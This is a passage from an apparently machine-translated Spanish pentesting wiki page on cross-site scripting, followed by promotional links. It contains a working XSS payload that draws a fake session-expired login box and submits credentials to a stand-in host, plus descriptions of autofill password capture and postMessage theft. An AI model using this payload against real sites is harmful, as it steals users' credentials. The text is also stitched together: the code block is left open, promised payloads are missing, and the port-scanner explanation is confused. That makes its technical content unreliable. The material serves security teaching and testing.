Para utilizar el escáner de puertos "fetch", simplemente se debe ejecutar el código JavaScript correspondiente en un navegador web compatible. El código enviará solicitudes a diferentes puertos y mostrará las respuestas recibidas, lo que permitirá identificar los puertos abiertos en el sistema objetivo.
Es importante destacar que el escáner de puertos "fetch" solo puede identificar los puertos abiertos en el sistema objetivo, pero no puede determinar si existen vulnerabilidades específicas en esos puertos. Para evaluar la seguridad de un sistema de manera más completa, se recomienda utilizar otras técnicas de pruebas de penetración en conjunto con el escáner de puertos.
El escáner de puertos es una herramienta utilizada en el pentesting para identificar los puertos abiertos en un sistema objetivo. Esta técnica es especialmente útil en el contexto de los websockets, que son protocolos de comunicación bidireccional utilizados en aplicaciones web interactivas.
El escáner de puertos websockets se utiliza para descubrir posibles vulnerabilidades en la implementación de los websockets en un sitio web. Al identificar los puertos abiertos, un hacker puede intentar explotar estas vulnerabilidades para llevar a cabo ataques de cross-site scripting (XSS) u otros ataques maliciosos.
El escáner de puertos websockets funciona enviando solicitudes a diferentes puertos y analizando las respuestas recibidas. Si se detecta un puerto abierto, esto indica que el sistema objetivo está escuchando en ese puerto y puede ser vulnerable a ataques.
Es importante destacar que el escaneo de puertos websockets debe realizarse con el consentimiento del propietario del sistema objetivo, ya que realizar esta actividad sin autorización es ilegal y puede tener consecuencias legales graves.
Para utilizar un escáner de puertos websockets, se pueden utilizar herramientas específicas como Nmap o Metasploit, que ofrecen funcionalidades avanzadas para el escaneo de puertos y la identificación de vulnerabilidades en los websockets.
En resumen, el escáner de puertos websockets es una herramienta importante en el arsenal de un pentester para identificar posibles vulnerabilidades en la implementación de los websockets en un sitio web y prevenir ataques maliciosos como el cross-site scripting. Sin embargo, es fundamental obtener el consentimiento del propietario del sistema objetivo antes de realizar cualquier escaneo de puertos.
Revisa la lista de puertos prohibidos en Chrome [**aquí**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) y en Firefox [**aquí**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
### Cuadro para solicitar credenciales
```markup
<style>::placeholder{color:white;}</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
Auto-fill passwords capture is a technique used to exploit cross-site scripting (XSS) vulnerabilities in web applications. When a user visits a vulnerable website and has their browser's password manager enabled, the attacker can inject malicious code into the website that captures the user's saved passwords.
#### How it works
1. The attacker identifies a web application that is vulnerable to XSS attacks.
2. The attacker crafts a malicious payload that will be injected into the vulnerable website.
3. The payload is designed to capture the user's saved passwords by exploiting the browser's password manager.
Cuando se introduce cualquier dato en el campo de contraseña, el nombre de usuario y la contraseña se envían al servidor del atacante, incluso si el cliente selecciona una contraseña guardada y no escribe nada, las credenciales serán exfiltradas.
En algunos casos, los atacantes pueden aprovechar las vulnerabilidades de Cross-Site Scripting (XSS) para robar mensajes enviados a través de la función `PostMessage`. La función `PostMessage` se utiliza para comunicarse entre diferentes ventanas o marcos en un sitio web.
El ataque de robo de mensajes de `PostMessage` ocurre cuando un atacante logra inyectar código malicioso en una página web que utiliza esta función. El código malicioso puede interceptar y robar los mensajes enviados a través de `PostMessage`, lo que puede permitir al atacante acceder a información confidencial o realizar acciones no autorizadas.
Para llevar a cabo este tipo de ataque, el atacante puede utilizar técnicas de XSS para inyectar código malicioso en una página web vulnerable. Una vez que el código malicioso se ejecuta en el navegador de la víctima, puede interceptar los mensajes enviados a través de `PostMessage` y enviarlos a un servidor controlado por el atacante.
Para protegerse contra este tipo de ataque, es importante implementar medidas de seguridad adecuadas, como la validación y el filtrado de datos de entrada, así como el uso de encabezados de seguridad HTTP, como el encabezado `Content-Security-Policy` (CSP). Además, es esencial mantenerse actualizado sobre las últimas vulnerabilidades y parches de seguridad, y aplicarlos en su sitio web para evitar posibles ataques.
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
Desde [**este informe**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) es posible aprender que incluso si algunos valores desaparecen de JS, aún es posible encontrarlos en los atributos de JS en diferentes objetos. Por ejemplo, es posible encontrar un valor de entrada de una REGEX incluso después de que se haya eliminado el valor de entrada de la REGEX:
¿Obtuviste XSS en un **sitio que utiliza almacenamiento en caché**? Intenta **actualizarlo a SSRF** a través de la Inyección de Inclusión de Borde Lateral con esta carga útil:
Si una página web está creando un PDF utilizando una entrada controlada por el usuario, puedes intentar **engañar al bot** que está creando el PDF para que **ejecute código JS arbitrario**.\
Entonces, si el **bot creador de PDF encuentra** algún tipo de **etiquetas HTML**, las va a **interpretar**, y puedes **abusar** de este comportamiento para causar un **XSS en el servidor**.
AMP es una tecnología conocida por desarrollar páginas web súper rápidas en clientes móviles. **AMP es un conjunto de etiquetas HTML respaldadas por JavaScript** que permite fácilmente funcionalidad con un enfoque adicional en rendimiento y seguridad. Hay [componentes AMP](https://amp.dev/documentation/components/?format=websites) para todo, desde carruseles hasta elementos de formulario receptivos, hasta la obtención de contenido fresco desde puntos finales remotos.
El formato [**AMP para Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) proporciona [un subconjunto de componentes AMP](https://github.com/ampproject/amphtml/blob/master/docs/spec/email/amp-email-components.md) que puedes utilizar en mensajes de correo electrónico. Los destinatarios de correos electrónicos AMP pueden ver e interactuar con los componentes AMP directamente en el correo electrónico.
**Consejo de recompensa por errores**: **regístrate** en **Intigriti**, una plataforma premium de **recompensas por errores creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comienza a ganar recompensas de hasta **$100,000**!
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
